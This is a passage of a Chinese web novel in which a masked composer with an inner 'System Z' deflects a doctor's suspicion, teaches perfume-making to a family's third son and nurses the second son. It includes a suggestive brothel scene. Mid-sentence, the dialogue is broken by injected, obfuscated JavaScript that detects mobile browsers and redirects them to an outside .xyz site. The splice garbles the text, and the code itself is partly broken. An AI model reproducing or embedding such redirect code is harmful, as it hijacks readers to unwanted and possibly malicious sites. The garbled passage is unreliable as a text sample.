不知是巧合还是有意闪躲，男人侧身错开他的视线。 择明浅笑收回目光。 “我保证，今后无论发生什么，我都不会让别人冤孽临到你们之中的任何一个身上。” 黄昏霞光灿烂，云晕开一片奇异赤色，教堂尖顶的十字犹如缠绕烈焰，在这背景中淬炼发亮，而车队于教堂门前出发，有意分开行驶避免追踪。 再与择明共乘一车，伊凡却比以往缄默数倍。 驶上老路，车身颠簸，他本人再也招架不住这种安静，忍无可忍开口。 “所以，这就是你惯用的伎俩？” 他问着转头，终于不躲避对视。 “用你表现出的冠冕堂皇，和蔼可亲，去掩盖你——” 从诧异到失落，因青年这神情的骤然转变，他一瞬止声，不知所措。 “我不否认，那是我做的。而且你们若没进来，我或许还会继续往下完成，伊凡。你觉得······我很过分吗？” 不带敬语，二人间距仿佛即刻缩短。一如空间有限的后座里，对方探身突然朝他靠近。 “暴徒？恶棍？还是疯子？请告诉我，伊凡，你觉得我是哪一个？” 相处以来，莱特·莱恩从未如此咄咄逼人，也让他慌乱加剧，清空脑中备好的说辞。 伊凡手心出汗，身体发麻发热。 但一种预感，已被他初步证实。 在那宏伟大厅挥舞指挥棒，甩臂扬手犹如医者操|弄手术刀，木偶师支配傀儡提线，绝非至纯至善，同春日般美好的存在。 在他看不见的地方，赤色火种伪装成无私焰光，蠢蠢欲动着，诡诈企盼着，期望落向某处，引燃无法挽救的熊熊烈火。 他眼前这人在享受他无法理解，甚至难以接受的乐趣。毋庸置疑。 而若放任不管，未来定会发生超乎想象的恐怖灾难。 此刻彼此过于接近，以致思考停滞，伊凡下意识后缩却反被抓住手腕。 同样受过伤，将他握住的右手掌心却是异常冰凉。 曾为对方的主治医师，没有谁比他更清楚这只手的凄楚。真要有，也只能是莱特·莱恩本人。 “您会怎么处置我，伊凡先生？” 伊凡嘴唇翕动，内心矛盾深深影响语言思维。 他艰难开口。 “我又不是审判你的法官，不是警察、或者他们帮派的——我没那意思，”边唾弃自己不知所云，他边重新组织语言，沉声解释，“告发你与否，是个可弃做的无解题。这戴维·菲尔丁，包括受他鼓动来祸害你们的，都不是什么正经无辜人。至于我······我只是对你的处理方式难以苟同。仅此而已。” 将针对戴维的行径归咎为报仇，是情理之中。然而他如今所见种种，早已偏移‘报复’一词。 但无论怎样，莱特都已与腹蛇帮派结下怨仇果实。 ——那不是单纯的折磨乐趣，是隐晦地宣战，顽劣地试探 猜测一闪而过，伊凡心间发怵忧虑更深，又说道。 “你明明有更好的，更符合道德常理的选择。” 哪怕是把戴维套麻袋狠揍，或向霍家请求撑腰，或求助于他。 一语结束，焦灼令伊凡再度躲避相视。 “是这样么······” 松开对方的手，择明慢慢靠回位置。 车轮经过小坑颠簸，整车激烈摇晃，他的从容让他看起来如高山岿然不动。 “对我而言，伊凡先生。若真要选一个制裁者，我更期望那会是您这样的人。” “我记得圣书里说，我们是神依照自己模样所创的。他恩准我们，流放我们，最后又定下期限，说要审判我们。多么奇怪，他每一天，每一刻不都在这么做么？” 择明指尖刮擦玻璃车窗，发出刺耳又令人不快的杂音。 他所言的一字一句，像这杂音侵扰头脑，拨乱思绪。 “可我与他不相识，他也不知晓我的痛苦与欢愉，我却要听他斥责我，宣判我的罪孽？真是苦闷。” “有时候，我更宁愿是一位知心老友将我送上最后旅程，而非眼神冰冷的陌生者，或让人生气的坏家伙们。” 听着这玩笑口吻，伊凡浑然不觉得有趣。 “现在我只有一个问题，”他神情是前所未有的严峻，凛若冰霜，俨然一位公正审判者。而他问道，“那天在鱼市，你离开我又回来的这段时间里，做了什么。” 【系统Z：主人，他大概率是在怀疑您的行为用意】 往深入想，是在怀疑他与‘莱特·莱恩’的契合度。曾经的莱特虽心怀恶念，怀揣毁灭的报复念头，但没有在人家脸上雕刻的爱好。 再闻系统善意提醒，择明轻抚耳垂。 恰到好处的沉默，是予人过度情绪的优秀断章。 停顿过后，他开始作答。 “为我愿真心交付的亲友，抹除冒犯到他，伤害他的。但您知道，我其实并没有真正意义上的家人，过去与我说话的兄弟姐妹，就只有花园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592341|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的马蹄莲。” ‘家人’，‘兄弟姐妹’，单词如重锤在伊凡脑中猛敲数下。 密不透风，厚实坚硬的玻璃碎出一道道裂缝。 “我视尼尔萨沙为我的孩子。还有马库斯先生，您见过的。那位关照我，幽默又亲切的长辈，我与他情同父子。” “而我发现，他们都有一个共同点。那便是他们从不在乎我皮囊的好坏优劣。您也一样，特别是在记账方面。您从不给我优惠和体恤。像哪句话来着的，唔——” 【系统Z：您应该是想说‘亲兄弟明算账’，主人】 择明恍然大悟：“噢，亲兄弟明算账，算得越清关系越亲？这么看来，我们真亲密无间，伊凡先生。” 伊凡别过脸吐气，扶额似是没辙。 “这都什么时候你还说这个。” 想到一事，他拧眉又问。 “所以，你上次找到那个袭击者，也是像今天——” 择明食指摆动，婉言打断：“您说只有一个问题，这下可没第二问了。” 男人一愣，随即懊恼啧嘴，不禁怀疑起自己岁数没到，头脑就先不争气退步。 “请您放心。今日起，这些无礼奸妄之事，我不会允许它们再发生。毕竟，那天起我就向自己发誓，哪怕是要舍弃这只手，这双腿，我这不值钱脑袋······我也要守护好失而复得，更重要的东西。” 面具不含表情弧度，可一旦双眼眯起，嘴角上翘，冰冷银面似乎也沾染笑意。所以尽管择明正说着狠话，仍叫人害怕不起来，更难生抗拒之心。 透过单面镜片凝望，伊凡仿佛看见深埋记忆的久远一幕。 为救妻儿义无反顾冲向火海的木讷男人，疯了般狂吼呼唤，火苗不再是畏惧的危险信号，是能抗争的敌人。 而这个男人，他的父亲，没那么幸运打败敌人。 所有敌人。 速度放缓，车头转弯，庄园大道出现在前方。 明白即将分别，伊凡不再继续话题。从他坐姿的放松程度来看，他情绪比出发前缓和许多。 车驶进庄园，将择明在宽敞林道旁放下。而他身边这位医生如他所料，刻意用着冷冰冰语气，对他强调。 “今天为止的这些事全平息前，课我是不会让你继续上的。你干脆安分呆在庄园，省得给某些家伙有机可乘。到头来······你们两方都想胡作非为。” 似警告又像劝戒，这男人深深看他一眼，说出最后一句。 “我可不是每次都能在你胡乱收拾人后及时出现的。” “您说的是。我谨遵教诲。” 以系统的Z绝招送走满脸无奈的伊凡，择明站姿乖巧，摆手告别。他不禁感慨道。 “伊凡先生果真是聪明人，擅长辨别肌理，目光可透析皮肉之下。不亏是医生。” 【系统Z：而我差点以为，您的反派之路将要断送在这了。在监狱，或在疯人院】 “嗯？” 择明哭笑不得：“我就当你是在担心我了，Z。” 【系统Z：是的，主人，我确实担忧。为您逐步暴露出的危险一面】 树影下择明停步，视线聚焦在前方无人的空地。 四周枝叶挤在一起，像潜伏着危险动物沙沙作响。他迎合风声开口。 “而我也不得不承认，Z。我一样在担心着。为你正逐步暴露的秘密目的。” “可你对我藏着小秘密，我也对你有所隐瞒，在这层面上我们是扯平的。或许，这样能更好维持合作相伴。” 两句话快如抢答，不给对方回应间隙。他走过花园东畔，吸气深嗅幽香。 “真希望你哪天也能闻到这与圆舞曲一样欢快的香韵，Z。今晚，很适合我们采摘丁子香制油。” 像他一笔带过含有锋芒的话题，系统以平常语句答复。 【系统Z：那请您这次务必注意火候，别再烧炸了玻璃瓶】 丁香油放置过久，澄明液体逐日泛黄，变成漂亮的琥珀色。 将它倒在手中晕开，抹上柔软腹部，光泽如同烤鹅金黄诱人的脆|皮。 密闭房中床边纱幔垂落，香薰味浓烈致使人头昏脑胀，霍子骥陷在大床枕头中，揉捏眉心。 床尾站着一位少年，面容娇好，体态修长又白净，赤|裸着披着轻薄纱衣。 发现男人目光自始至终没在自己身上停留超过半分钟，少年心中虽疑惑面上却不显，只俯身爬上被褥，趴在对方腿|间，两眼朦胧像含泪。 “哥哥，您不喜欢我了吗？您今天过来，都没抱过我。” 丁香油暂时让霍子骥回魂，他两指捏住少年下巴，打量着，忽然命令。 “不要叫我哥哥，叫我三少爷。” 在这地方只要钱到位，喊顾客什么都无所谓。可作为霍子骥最常临幸的一员，少年只觉得今日更加奇怪。 他犹豫着，小心翼翼唤道。 “三少爷？” 霍子骥撇嘴，不满道：“再来一次，认真点。” “三少爷。” “不对，再来。” “三少爷。” “还是不对。” ······ 声音甜腻可人，以往最是能勾起蠢蠢欲动的情||欲，当下霍子骥却皱起眉，松开对方的同时推开人。 他拎上外套一言不发刚离开，房内少年便带着不可思议的脸冲进休息室，向同伴分享这极度反常的经历。 “他甚至都没碰过我，进来也只顾着自己喝酒。中途离开过一次，好像是有人给他送点报，说到什么剧院，生日场地。” “你们说他是不是腻味我们这了。” “可罗斯夫人没说过啊，晚上还让我们好好准备招待。” ······ 红绒卧榻上，浓妆艳抹的女人默默倾听，修剪指甲。她是这资历最深，也算最了解贵客‘霍子骥’的。 其余人猜测时诧异不解，她摆手断言则无比自信。 “你们就别瞎担心了。要么是挨批，要么是着迷，总而言之这匹小野马，最近是找到安定的事情做了。” 事实正如她所言。 霍子骥深夜归家没有回房，反推开僻静花房的门。 躺椅上，择明单手举书挡着脸阅读，霍子骥人未进门他就先出声道。 “晚上好，三少爷。” 屋内，一缕缕丁香油味似清凉溪流洗刷全身，霍子骥不自觉拍打肩头，嫌弃起他满身香水烟酒气。他叉腰笑道。 “你怎么知道是我。” “我不得不说，您身上的味道向来很具有分辨性。三少爷。” 对方放下书轻笑回答，并问他。 “所以，您今晚是准时来上课么？” 看着这张面具，反复回味方才短暂的呼唤，霍子骥勾起嘴角，踏入花房关起金属门。 “是的。我洗耳恭听。” 16. 打破的声音是pop！-16 气味像是丝带，一条条漫延四周萦绕鼻尖。 餐桌旁，霍夫人轻轻吸气，嗅出除佳肴美酒之外的气味。 橙花油混杂茉莉香的清甜。 其中似乎包含更复杂的香味，过淡她分辨不出种类，但质量绝属优良。 若它是一款香水，必会在她的太太圈里引起股滔天狂潮，贵妇小姐们争先恐后购买。只因它的后调余韵持久悠长得惊人，香味虽清浅，却能轻易冲破饭菜浓香，保有独一无二的特性。 实是罕见佳品。 若是偶然发现，她不会太在意。但接连七八天庄园各处弥漫这股幽香，此刻源头近得出奇，她不得不探究起来。 桌边只有霍子骥陪同用餐，她问道。 “子骥，是你换香水了？” 霍子骥正用银叉搅弄肉丁，心不在焉一挑眉。 “换香水？没啊。我不是一直用你定来那家店的么。” 霍夫人放下汤匙，看着他目不转睛。 为实现霍子骥稳得家主之位的终极目标，她多年来打通庄园上下，安插不少‘眼睛’为她服务。既有时刻监视别人的，也有监督这不省心的小儿子。 她自认为，没有谁比她更了解霍子骥。 纵使这刚成年的三少爷自小有着野马脾气，桀骜又随性，可对她最是乖巧懂事。就算会不满犟嘴，大局上仍听她指示。 然而近几天，超出她掌控的事正慢慢发生。 夜夜在外寻欢作乐，与狐朋狗友混迹会所的霍子骥消失了。 贴身侍者照常会跟丢他，当他和以往一样，是找各色情人幽会，睁一只眼闭一只眼。 但匪夷所思的是，他每回再现身竟从头到脚清爽，眼中不见淫|欲得偿后的餍足。言行举止虽懒散不着边际，静坐出神时间却占据极大部分。 一如今夜晚餐，霍子骥从坐下到现在，拢共才说四句话。 “最近是筹备生日宴会太忙，累着了么，子骥。” 霍子骥思绪飘飞，等霍夫人问他第二遍才反应过来，往椅背一靠。 “可不是么，爸他腿受伤还躺着，上次追查袭击者没结果，他估计要一直吃不好睡不好。我们那国|宝二哥又根本帮不上忙，天天把自己关画室里。”发牢骚到这，霍子骥摇头离开座位，“还剩四天迟迟决定不了场地方案，请帖没确定版本，我哪有心思搞别的。” 霍夫人神情舒缓几分，点头宽慰几句便不再挽留。 “我相信你一定能办好，毕竟你可是我儿子，霍昭龙的儿子。” 霍子骥晃悠到门旁，抬手一扬当作答复。 太阳落山带走夏日高温，人漫步林间，总有氤氲水雾扑面，凉意刺激神经。霍子骥特地钻树林绕开可能跟踪自己的仆人，从花房后门悄悄潜入。 夜灯烛台亮度合适，光洒满角落。 前方有一人面对小桌，执笔挥洒不停。 霍子骥唇角不自觉上扬，如做贼蹑手蹑脚靠近，拱起两手做出前扑姿势。 距离仅剩五步，他屏息凝神没弄出半点声响，孰料对方竟将笔一放，淡然出声。 “今天您来得比昨天更早了，三少爷。” 择明合上羊皮纸书册，轻拍衣袖站起。 转身向人鞠躬，他亦解答对方的疑惑。 “今天风向朝东南居多，您若是从正门走，我或许还不会那么快发现你。顺便一提，由您取名的这款‘赫柏的金杯’，意外的很适合您。” 因香水偷袭失败，霍子骥气馁得往躺椅里倒。 “鼻子这么灵……你是狗么，”他无奈咕哝着。 衣领间滑出一小小物件，锥形玻璃瓶指头大小，底部包裹金箔，隐约可见淡黄液体。缕缕馨香透过瓶塞缝隙溢出，属于他亲眼见证诞生过程的香水。 他以目睹玻璃器皿烧炸的惊吓为由，将几大盆原料所制的香水霸占。 一开始不抱希望的，谁曾想对方很爽快给他了。 霍子骥摩挲下巴，笑得玩味。 “反正我没什么事做，就先来你这赏花赏月赏人呗，谁让你是这家里最大的一朵奇葩，成天通宵不睡觉，又是剪花又是写谱子蒸香水，你居然一点都不困。你是石头做的吧，都不用睡觉。” “那我多谢您夸奖，三少爷。” 道不明是哪不顺心，霍子骥撇嘴沉默，视线紧随花房中走动的人。 距霍骊生日只剩四天，虽说宴会全由他操办，但依旧要通过霍昭龙那关。此前他推出数种方案都被否决，于是一直耽搁至今。 时限临近，他不着急，反倒是心心惦念霍骊的某‘工蜂’愈发忙碌。 注视那道身影在花架前来来回回，霍子骥右手撑头又道。 “鲜花我愿意用你的了，香水也帮你试了，你还想准备什么秘密礼物？注意点，别超出我的预算，那样我们可扯不平喽。” “我还以为，三少爷是有着一颗希望亲人愉快庆生的真诚心。” “拉倒吧，与其说让她那病秧子开心，不如说是让我们全家安心。能让她在死前满足愿望，不留遗憾，这是我作为家人的义务呢。” 话虽如此，霍子骥语气不屑，听不出温情。 原以为会得到怒叱，哪怕是谴责一瞥，可莱特双眼望来，目光如静夜安谧。 “看来您与小姐感情确实不深。不过还没到反目成仇，想要置对方于死地的糟糕程度，您愿意配合的宽宏理解，或许功不可没？” 忽被夸赞，还是在意想不到的地方，霍子骥语塞不知所措。 对方擦拭剪刀，金属前刃泛光晃眼。 霍子骥禁不住的想，这到底是什么品种的‘怪胎’。 脾气看似好得没边际，仿佛与过去任人欺负的软烂柿子无异。可偏偏某些地方，犹如宽阔河流护城，难以攻破。 再一抬眸，视线不知不觉被那抹难辨真假的微笑攫取。 对方漫不经心地问他。 “今夜课堂开始前，我希望您能回答我，您有在烦恼着什么吗？” 目光下意识闪躲，霍子骥当即拨弄自己一头金发，佯装无事嗤笑道：“我的烦恼，只能是喝不到美酒，睡不了暖床，还有被无聊的丑货包围。” 择明上前一步，追问道。 “这是真的吗？三少爷。” 分明没理由有问必答，霍子骥却陷入犹豫漩涡，与无实体的敌方斗争。 几番欲言又止，终究下定决心，但他只是起身来到桌边。 曲谱诗词因清隽字迹活像池塘里一尾尾金鱼，给人以朝气蓬勃的欢快活力，霍子骥捧起最厚那沓图纸，翻阅前一顿，特地转头得到同意才继续。 他行事难得如此礼貌，在庄园可是会引发惊天动议论的地步。 打量他专注阅读的背影，择明再得系统一夸。 【系统Z：您确实很擅长驯养马驹，主人。这非常厉害】 择明摇摇头笑了。 【你谬赞了，Z。我只是说，我擅长训练小马驹。已成年的野马无论变得再怎么服帖亲近，终有一天会想要自己挣开缰绳，摆脱饲养人，乃至血亲的】 【系统Z：希望那时候您能及时跳下来，别摔着背】 择明应声揉了揉后腰。 【最近没多少休息，骨头确实有点僵，可惜你不能长出手帮我按摩】 【系统Z：我并不会该项功能，主人】 【那我可以教你】 【系统Z：我并不能做到】 【你怎么前后说话不一呢，Z】 察觉其中的紧追不放，系统再使新招。 【系统Z：唉……】 择明不禁掩嘴偷笑。 听系统叹气，是他现在最大的乐趣之一，以至从早到晚他都要找机会捉弄调戏。 霍子骥忽然抖动纸张，打断他们专属的思维交谈。 “《艾莫斯的情妇们》，你这新作的跨度可不是一般的高啊。富有公爵被他的情妇们争抢又合谋算计，阴差阳错下让他找到真爱，结局却是他痛失爱人，孤寡到老，悲痛终身？” 择明：“一时兴起，自娱自乐而已。您应该知道，像这种不入流的旋律，是登不上台面的。” 犹如肉食动物捕捉到血腥气息，霍子骥转身，眸光陡然深幽。 “那这么说，你上一份大作已找好东家喽？” 择明微笑不置可否，反问道。 “所以，您是准备拒绝掉我临时雇主的邀约么？” 说这话时，烛芯滑落的蜡滴漫出小台，刚好坠在一旁臼钵的边缘。霍子骥手触向裤兜，摸到比布料坚硬的纸张页角。 “我前言收回，”他无奈摇头，“你可不止鼻子灵。” “多谢夸奖。” 电报纸被霍子骥藏在身上，几天来反复查看，现已皱得不成样。 “安士白剧院新投资人，林威廉，曾经的高级外交官员，现在的子爵，未来伊亚郡市长的铁腕候选人。我真是何德何能，收到由这位主动发来的请柬。” 霍子骥两指夹着电报，向择明一递。 “他说，他愿意将安士白借给我们，作为生日宴的会场。” 对收信的他来说，请柬具有非同寻常的意义——谈成林威廉这桩生意，一洗前耻的机会。 整栋宏伟建筑清场，专为霍家长女庆生，这是安士白剧院成立以来闻所未闻的至高待遇。 哪怕这单生意最后黄了，霍家与林威廉友好相识的序幕，也会为他在霍昭龙跟前开启扭转局面的新篇章。 电报寥寥几行文字，择明很快读完将纸抚平，折好递还回去。 “说来惭愧，我其实与这位慷慨的林威廉先生并无交集。只向他的经理提供剧本，为我的私心筹划。没想到我计划未定，他就先找上了你。但这更符合礼节，毕竟您才是唯一负责人。我只不过是微不足道的作曲人罢了。” “呵。” 霍子骥唇角勾起弧度，笑与眼中包含质疑冷意。 他俯身凑向人。 “你说自己没提前见过他，我就信？” 二人身高相似，对峙起来难分强弱。然而带着刺与锋芒逼近，得到的却是波澜不惊，霍子骥气恼又无奈。 转念一想，他嗤笑改口。 “你就不怕我以怀疑内鬼为由，把你揪出去惩戒示众？那样这个生日，我们大家谁都别想好过了。” “那真遗憾，”择明哀叹道，“恐怕不止是霍先生霍夫人会失望，艾文也会伤心的。我还想在那天，带着他灵魂依存的纪念品，一起聆听声乐盛会。” 再听‘艾文’名字，霍子骥难免默然。 语气轻飘飘，不像威胁和警告。 但就是让他迅速冷静下来，再辨其中利弊。 林威廉主动递橄榄枝，高品质鲜花点缀莱特·莱恩无偿供应，且这‘供应商’是怀着诚挚的心相助，绝不会在宴会上惹是生非的。 作为主办者，他简直是坐享其成。 纠结难分的问题，再次回到那一点上。 “你真让人困惑，”霍子骥如实道来，“有时候我看你为了霍骊是什么都能做，卑躬屈膝像条狗。有时你又无所谓，专搞稀奇古怪的东西。作为霍家人，我不得不盯紧你了。” 择明的回答，仅是一句。 “或许……我所做的，不只是为了霍骊小姐一人呢。” 不只是霍骊？ 好比信件末尾煞风景的大块墨渍，答复言不尽意，令人扫兴却又好奇更重。 霍子骥终于抽回纸，将香水瓶塞进衣领。 “行，就让我看看你这怪胎回掀起什么风浪。邀约我应下了，我都能预估到那瘫床上的老头高兴得会疯。不过我最后还是强调一遍，那天若是出了什么事，你也别想逃过。” 狠话刚放完，霍子骥倒进躺椅却很快坐正。 原因在于择明拿出的满箱工具。 上回他被科普各种制香知识，十分里竟也听去八九分。本来抱着试一试，来找茬挑刺的心态，谁料这‘课’听得一发不可收拾。 事实证明，当枯燥原理与人文故事结合，死板规矩穿插其余乐趣，很难放弃倾听。 两小时转瞬即逝，被送出门时，霍子骥摸上脸颊才惊觉自己笑僵了脸。 笑都是真心，而非无懈可击的伪装假面，影响才会如此之深。 回忆自己上一次无忧无虑，开怀大笑的情形，却只得到模糊画面。霍子骥深深呼气，一脸惘然。 花房里，择明呵气吹熄烛火，搬出躺椅露天欣赏夜景。 沉醉璀璨星光良久，他点头若有所思道。 “要不然，下个月练习织围巾好了。我一直没上过手。” 【系统Z：我倒不知道，您爱好涉猎如此广泛，主人】 “针织技术里可有着大奥秘，Z。” 他笑盈盈解释着。 “当第 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择明：“这显而易见，Z。我想你下一句就是问‘您打算画什么’。为节省时间，跳过不必要的话题，我可以直接告诉你，我在准备问候二少爷的登门礼。” 想了想，他面露惋惜。 “生日上如果有亲人缺席，霍小姐会失望吧。” 自打上次与霍昭龙争吵后，霍子晏又来了一百八十度大转变，变成不理人不出门，死气沉沉的地洞小鼹鼠，甚至直接人间蒸发玩失踪几天。 不过据年龄较大的下人猜测，他应该是去母亲安葬的墓园。 那是霍昭龙唯一亲自参与设计，全程监督的霍家地产，安葬着他亡妻忠仆，以及关系较好的远房长辈。 以前心情不好，或与霍昭龙闹矛盾的时候，霍子晏总爱去墓园旁的别苑住上十天半个月。而昨天凌晨，霍子晏被目击到从偏门回来，风尘仆仆，颓然又狼狈。 着笔时沉思，下笔是滔滔不绝。这是择明一贯的‘坏毛病’。 “你知道么，Z，鼹鼠是种很敏感的动物。超灵敏的嗅觉相当于无人企及的天赋，可正是因为太敏感，它们才会更愿意，或者说只能匍匐地底。” “动物很大程度上依靠五感存活，但其中一种若是过强，反倒增加了艰辛负担。” “所以，傻人有傻福，这道理大方向上准没错。” 得出结论同时停笔，他卷起画卷。 【系统Z：我对此表示怀疑，主人】 “那我们来实验证明一下？” 带着画作和跃跃欲试的期待，择明一路畅行，来到霍子晏所在的四楼。 卧室门很小一扇，敞开着看不见人。 对面画室大门紧闭，证明其所有者确实在里面。 择明正准备敲门，一名女仆端着托盘，闷闷不乐上楼。 转弯与择明不期而遇，她先是一惊，随后语无伦次。 “啊马夫、呃，莱特少、莱恩先生。” 一句话里换了三次称呼，择明右手握拳抵在唇前，笑声温和。 “莱特就行。” 女仆的慌乱被这笑声一扫而空，也不再拘谨，轻声问他。 “您上来是有什么事么？” 择明示意手中画卷，同样小声回答。 “来给二少爷送东西。我听说他最近食欲不太好是么？” 年轻女仆一下打开话匣子，将他拉到楼梯口，尽情发牢骚。 其中包括霍子晏昨晚不顾执事劝说，在大厅翻箱倒柜，差点拿刀毁了那副《金秋之海》，喝酒上楼后莫名其妙打砸东西，绝食到现在。 “那画被划了这么长一条，多可惜啊。老爷要是知道了，肯定大发雷霆。” 女仆打开双臂比划着，接着叉腰摇头哀叹。 “我要被烦死了，梅尔夫人警告我，如果我没当面送给二少爷，就不准我回去吃饭。可万一二少爷发起脾气来，把我打一顿、或者也在我身上划一刀怎么办。” 目光在托盘上停留几分，择明出声道，“二少爷素养好，不会做出伤害他人的事的。但他现在心情不佳。不如你把它给我，我帮你送进去吧。反正我也是要找他的。” 女仆眼睛一亮，得救般将任务交给他。 目送人彻底走远，听不见声音，择明轻叩门板。 “子晏，是我。” 门后没有声响，他特地等了一段时间才继续道。 “你不留消息离开那么长时间，我很担心你。” “你若真不想见我，那让我先看一眼你，把东西给你再走。” 细微动静愈发靠近，听到门锁被解，择明应声缓缓推门而人。 厚重窗帘隔绝户外太阳，屋内的空气浑浊而沉闷，霍子晏在中央背对他，指着桌子。 “东西……放那吧。” 霍子晏嗓音沙哑，不知是因为烈酒还是宿醉又哭嚎过。 将托盘连带画卷放在桌面，择明悄悄向人靠近，可察觉到他动作，霍子晏立即转身朝壁橱奔去。 双手撑在粗糙砖石上，蹭破皮肤，霍子晏呼吸急促，试图加重语气。 “我说了，放那就好。你、你可以出去了、出去！” 喊声仿佛震得玻璃响动，亦令他自己双耳嗡鸣，头脑眩晕。 恍惚间，他好像听到门关上的声音。那瞬间，无止尽的失落与悔恨再次将他包裹，抽空所有支撑力气。 蒙胧泪眼看向母亲的画像，庞大的痛苦几乎要将他心脏捏紧。 一瞬缓解窒息感的，是后背突然覆上的手掌。 “你现在很累，子晏。” “你需要要休息了。” 堪堪两句，有着安眠曲的魔力，霍子晏顺势向后倒，被依托着放在软榻上，但呼吸依然急促。 “莱特，你——” “嘘……” 话被抵在他唇前的食指止住，他眼角的泪水也被散发紫罗兰香的手绢擦拭。直至最后的颤动被安抚，他也被困意彻底击溃，望着对方模糊的脸。 记事以来，他卸下担子，全身放松的速度从未如此之快。 像回归人们天生眷恋的母亲怀抱，可舒心安眠。 “我很抱歉。” 意识涣散中他又一次道歉，可情绪却比之前更深，用句亦不同得奇怪。 “对不起，莱特，我……我们对不起你……” 17. 打破的声音是pop！-17 口红，扑粉，润肤膏，羊脂油，最高级的香水，逐一摆放化妆台上，整齐如同阵队。 女人肤白如雪，五官秀美，未上妆的脸足够像花蜜，可迷倒成片男人。面对镜子，她几次打点发型仍旧不满，索性任鬈发披散。 侧过脸，仿佛同谁的镜像细致对比。 ——像吗？ 她用着没睡醒的声线询问。 ——我足够像吗？ 化妆，梳发，戴上时髦圆帽，她推开门时露出一截白若嫩藕的手腕。 梦境不受逻辑约束，超乎常理限制，因此她烧成黑炭的尸体画面飞闪而过，促使人焦急上前，制止她离去，以防惨剧发生。 掌心触感柔软且真实，霍子晏倏然睁眼，目光正对被他紧握手腕的人，也看清自身处境。 画室暗沉无光，他躺在软榻上枕着莱特的双腿。 而确定他彻底清醒，对方才挪开他额上降温用的毛巾，轻声调侃道。 “你已经睡了两天了，子晏，除了喂你喝药喝水，你一点反应都没有。我差点以为你是要当一回睡美人，等待哪位英勇王子来解除魔咒。” 闭眼睁眼只觉得几秒不到，但身体的沉重无力告诉他对方所言为实。 发觉自己还抓着人家，霍子晏手猛然一松道歉。 “抱歉，莱特……” 喉咙像火烧干涩，当他扶着脑袋坐直，适应状态后，一杯水已送到面前。 温水加了糖和薄荷，一饮而尽堪比沙漠中寻获甘霖，瞬间滋润全身。 喝完三杯，霍子晏不再抗拒择明端来的餐盘，甚至狼吞虎咽几次噎住。食物和水同样是暖的，他知道，有人为他每天更换，精心存储保温。 当叉子第五次戳向面包小篮，择明抬手一拦。 “你刚醒来，不能一下子吃太多。过会儿我再拜托米娅送新的上来。” 霍子晏连同饱嗝咽下最后一口黄油面包，意犹未尽撒开餐具。 进食补充完体力，观察思考的能力亦恢复。他细细端详着无微不至照料自己的人，因对方身上未换洗的衣物深感诧异。 他不禁问。 “莱特，你是一直，在这陪着我吗？” 即使有所预料，但见人点头承认时霍子晏仍难掩欣喜触动。 他昏睡发烧那几日，大可让仆人执事看护他，对方却事事亲力亲为，且态度远超尽职尽责的‘照料’。 霍子晏鼻头酸涩，又一次伸手握住对方手腕，制止人收拾餐具。 “这些你以后不要再碰了，给仆人处理，那本来就是他们的职责。” “但是——” “没有但是。” 想起莱特·莱恩在霍家尴尬的身份地位，霍子晏面露悲愤，固执将人拉回软榻。 他坚持道：“因为我，你已经两天没能休息，若要再眼睁睁看着你累垮倒下，我简直罪不可赦。所以，这次听我的。” 口吻多少有点无理取闹，然话确实在理。择明索性配合，并于坐下后好奇打量着霍子晏。 大抵是在外露宿风餐多日，受寒回来又酗酒，霍子晏这一病仿佛重症患者濒死。请来伊凡为其诊断，都得动用数量有限的针剂。 不过年轻体质较好，被悉心照料后他虽脸无血色，但胜在双目有神。 唯一费解的是，他依旧回避所有视线接触。 犹如尿床后藏起床单的小孩，因愧疚深感不安，因逃避自我矛盾。只能等心中有数的大人，巧妙将这份拙劣掩饰戳破。 择明抬臂，手伸向对方，指尖触及脸颊。 动作毫无预兆，霍子晏瞪圆眼缩脖子。 原来是他唇边不知何时勾住几根深色发丝，被人轻捻别至耳后。 亲昵接触令心间再生悸动，也迫使他被追问时难保镇定。 “你看起来，有话想跟我说。” “没。我没什么……” 霍子晏的挣扎在择明侧过身，特地背朝他时停歇。 择明语气欢快道：“你知道‘我是谁’这个游戏么？” 进过学院，曾加入学生团体组成的兄弟会，霍子晏对这常见的派对游戏谈不上熟悉，却也知晓其规则。 玩法因人数差异多种多样，固定条件无外乎提供一件‘事物’，由‘考官’在不直接形容的前提下描述，受测者凭线索一一联想、与人问答，直至找对答案。 “作为帮助你调整病后心情的游戏，这再适合不过。当然，我听你的最终决定。” “我敢打包票，我从没在这游戏上输过谁，”择明翘起下巴，故意洋洋自得着，“因为我不跟别人玩，我只跟自己玩。” 霍子晏阴霾顿消，不禁笑出声。 紧张时不受注视反而更能解除防备，他终于放平心态，尝试开口道。 “那是……一个故事。” 他作为‘出题人’提出首个特征，答卷人抛出疑问。 “它是真实的吗？” “是真实的。” “那——它是过去发生过的吗？” “是，”霍子晏喃喃重复道，“是的。” 从这开始，提问逐渐扯东扯西，‘有猪肉派出现吗’、‘有人摔跤出洋相吗’，全身诸如此类滑稽不着边际的问题。 全程回答是与否，霍子晏思绪化作风筝，越飘越远。唯独一双眼睛，自始至终映着那道依靠软榻扶手，慵懒且赏心悦目的背影。 像是鹅毛丝绒铺满床沿，如雪银面因微光泛出柔和晕层，青年健谈，声线悦耳，说话间不经意侧过脸，下颌衬在花边衣领里，好一朵静待采撷的白蔷薇。 ‘我像吗？’ ‘我足够像吗？’ 梦境伸出无形触|角，阴险蠕动着将声声瘆人询问拢到耳边。 霍子晏心中发寒，莫名颤栗。 就在这一瞬，他突然听问。 “它是跟我有关的吗？” “是的——不是、我说错了，和你无关。” 先是脱口而出，而后立即改口，霍子晏大惊失色，只庆幸没和人面对面。 择明敛声，手支起脑袋向一侧倾去。 由于看不见他表情，霍子晏边猜测他的想法，边陷入疯狂的埋怨，握拳小声敲打自己脑门，自我谴责。 画室门被叩响成了及时救兵，霍子晏抢先起身。 “我去开门，莱特你继续坐着就好。” 说完头他也不回小跑离开，呼气如释重负，双肩垮塌。 